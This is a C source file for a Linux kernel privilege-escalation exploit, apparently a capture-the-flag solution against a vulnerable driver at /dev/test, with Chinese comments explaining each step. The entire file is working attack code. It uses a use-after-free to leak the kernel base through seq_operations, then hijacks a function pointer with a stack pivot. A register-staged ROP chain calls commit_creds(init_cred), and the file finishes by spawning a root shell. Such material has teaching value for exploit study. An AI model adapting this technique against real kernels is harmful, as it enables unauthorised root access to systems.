1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| #include <fcntl.h> #include <stddef.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdlib.h>
#define COMMIT_CREDS 0xffffffff810c8d40 #define SEQ_OPS_0 0xffffffff81319d30 #define INIT_CRED 0xffffffff82663300 #define POP_RDI_RET 0xffffffff81089250 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30
long fd;
struct op_chunk { size_t idx; size_t size; void *buf; };
struct alloc_chunk { size_t size; void *buf; };
void readchunk(size_t idx, size_t size, void *buf) { struct op_chunk op = { .idx = idx, .size = size, .buf = buf }; ioctl(fd, 0x40, &op); }
void writechunk(size_t idx, size_t size, void *buf) { struct op_chunk op = { .idx = idx, .size = size, .buf = buf }; ioctl(fd, 0x50, &op); }
void freechunk(size_t idx) { struct op_chunk op = { .idx = idx }; ioctl(fd, 0x30, &op); }
void allocchunk(size_t size, void *buf) { struct alloc_chunk alloc = { .size = size, .buf = buf }; ioctl(fd, 0x20, &alloc); }
size_t buf[0x100]; size_t swapgs_restore_regs_and_return_to_usermode; size_t init_cred; size_t pop_rdi_ret; long seq_fd; size_t kernel_base = 0xffffffff81000000; size_t kernel_offset = 0; size_t commit_creds; size_t gadget;
int main(int argc, char ** argv, char ** envp) { fd = open("/dev/test", O_RDWR); // 使用 O_RDWR 而不是 2 allocchunk(0x20, buf); freechunk(0); seq_fd = open("/proc/self/stat", O_RDONLY); // 修正:/proc 不是 /pro readchunk(0, 0x20, buf); //用户buf → 内核chunk;内核chunk被释放,用户buf不变;内核重用chunk存放seq_operations;内核chunk (seq_operations) → 用户buf (覆盖原有数据) kernel_offset = buf[0] - SEQ_OPS_0; kernel_base += kernel_offset; swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset; init_cred = INIT_CRED + kernel_offset; pop_rdi_ret = POP_RDI_RET + kernel_offset; commit_creds = COMMIT_CREDS + kernel_offset; gadget = 0xffffffff8135b0f6 + kernel_offset; //add rsp,distance buf[0] = gadget; swapgs_restore_regs_and_return_to_usermode += 9; writechunk(0, 0x20, buf); // 修正:writechunk 不是 writeChunk
__asm__( "mov r15, 0xbeefdead;" "mov r14, pop_rdi_ret;" "mov r13, init_cred;" // add rsp, 0x40 ; ret "mov r12, commit_creds;" "mov rbp, swapgs_restore_regs_and_return_to_usermode;" //正常执行commit_creds(init_cred) "mov rbx, 0x999999999;" "mov r11, 0x114514;" "mov r10, 0x666666666;" "mov r9, 0x1919114514;" "mov r8, 0xabcd1919810;" //垃圾数据 "xor rax, rax;" "mov rcx, 0x666666;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" //执行syscall );
system("/bin/sh");
return 0; }
|